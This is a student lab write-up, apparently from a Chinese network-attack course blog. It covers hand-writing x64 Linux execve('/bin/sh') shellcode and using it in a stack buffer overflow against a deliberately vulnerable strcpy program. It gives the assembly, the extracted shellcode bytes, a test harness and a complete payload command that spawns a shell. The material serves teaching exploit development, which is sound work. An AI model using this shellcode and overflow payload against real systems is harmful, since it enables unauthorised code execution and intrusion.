2019-2020-2 网络对抗技术 20175211 Exp1+ 逆向进阶(x64 shellcode制作及利用)

x64与x86的区别

  • 64位系统中,不再使用int 0x80来进行系统调用,取而代之的是syscall指令
  • x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push
  • x64的CPU的地址为64位,但实际上只支持48位的虚拟地址空间供软件使用。虚拟地址的高16位在用户模式下总是被设置为0000,而在内核模式下全置为FFFF
  • x64中当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的

shellcode制作

流程

  • 先使用C这样的高级语言编写程序
  • 反汇编以获取汇编指令
  • 提取出机器码

编写C程序

我们使用execve()函数来调用/bin/sh,先了解一下这个函数

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从图中可以,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
由此编写出如下代码

#include <unistd.h>
#include <stdlib.h>

void main()
{
  execve("/bin/sh",NULL,0);
}

为了能够之后能够看到反汇编的结果,这次采用的静态编译
gcc -static -o retsh retsh.c
运行一下看看效果

反汇编

retsh反汇编
objdump -d main

继续反汇编execve

发现先把eax0x3b,也就是59,然后调用syscall指令,去网上搜索syscall调用表
LINUX SYSTEM CALL TABLE FOR X86 64

我们用gdb调试一下retsh,在调用syscall之前,寄存器的状态如下,与调用表相符

编写汇编代码

我们的目的就很明显了,我直接把最后的汇编代码放出来,好久没写汇编了,也是第一次写x64汇编,有点坑
编写shellcode.asm

section .text
global _start
_start:
xor rdx,rdx         ;rdx置0
xor rsi,rsi         ;rsi置0
push rdx
mov rax,'/bin//sh'
push rax            ;pathname入栈
mov rdi,rsp         ;rdi指向栈上字符串
mov eax,0xffffffc5
neg eax             ;eax置为0x3b
syscall

坑点1:x64 push

x64栈肯定也是64位的嘛,所以我一开始直接push '/bin//sh',刚好64位,但是编译的时候报了溢出的warning,我不明白为什么也就没管,到后面运行的时候就会报段错误,我断点看了一下,栈里面居然是这样的,/bin//sh分开来了,后面还各跟了4个0字节

经过一番搜索,我才知道x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push

mov rax,'/bin//sh'
push rax            ;pathname入栈

坑点2:shellcode中的\x00

shellcode中不可以出现\x00,所以改eax的值的时候,不能直接mov eax,0x3b。一个简单的取反操作就可以解决这个问题

mov eax,0xffffffc5
neg eax             ;eax置为0x3b

验证

编译nasm -f elf64 shellcode.asm -F stabs,-f指定文件类型,-F是gdb调试时需要有的信息
链接ld -o shellcode shellcode.o
运行

成功

提取机器码

反汇编一下shellcode

用shell命令提取出机器码
for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
得到\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05

编写poc.c验证一下

#include <stdio.h>

int main()
{
  char shellcode[] = "\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";
  int (*func)();
  func = (int(*)()) shellcode;
  (int)(*func)();
}

编译gcc poc.c -o poc -z execstack,注意这里要设置堆栈可执行

运行成功,至此我们制作出了自己的x64shellcode

x64 BOF

漏洞代码

pwn.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
 
int main(int argc, char **argv)
{  
    char buffer[256];
    if(argc != 2)
    {
        exit(0);
    }
    printf("%p\n", buffer);
    strcpy(buffer,  argv[1]);
    printf("%s\n", buffer);
    return 0;
} 

编译gcc pwn.c -o pwn -z execstack -no-pie,这里要打印出buffer的基址,要不然我们不知道字符串在栈上的位置

触发bof

首先我们来确认一下确实可以让这个进程崩溃
./pwn $(python -c 'print "A" * 300')

接下来看看我们能否控制rip

用gdb单步调试,在调用strcpy之后,查看一下rsp,可以看到buffer是从0x7fffffffdf20开始的;

段错误时rsp0x7fffffffe028

然而,x64中当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的,所以这次尝试中我们没有成功覆盖rip

控制rip

虽然刚刚没有覆盖成功,但是只要我们控制好字符串长度,应该还是可以控制rip的。根据刚刚strcpy后的栈顶和退出程序时的栈顶,可以算出栈上buffer长度为0x7fffffffe028 - 0x7fffffffdf20 = 0x108,也就是264。接下来构造"A"*264 + "B"*6试试看
gdb

run `python -c '"A"*264 + "B"*6'`

rip成功变成0x424242424242

注入shellcode并getshell

这里栈上空间足够大,我们可以用shellcode + nop + retaddr的方法注入shellcode

cat|./pwn `python -c 'payload="\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";print payload+"A"*(264-len(payload)) + "\x7f\xff\xff\xff\xdf\xa0"[::-1]'`

完美完成任务。
注意一下最后的地址要根据pwn打印出的基址进行调整,因为系统里的环境和gdb中是不一样的。

参考链接

【干货分享】手把手简易实现shellcode及详解
64bit-overflow.pdf
LINUX SYSTEM CALL TABLE FOR X86 64

posted @ 2020-03-12 02:17  MustaphaMond  阅读(751)  评论(0编辑  收藏  举报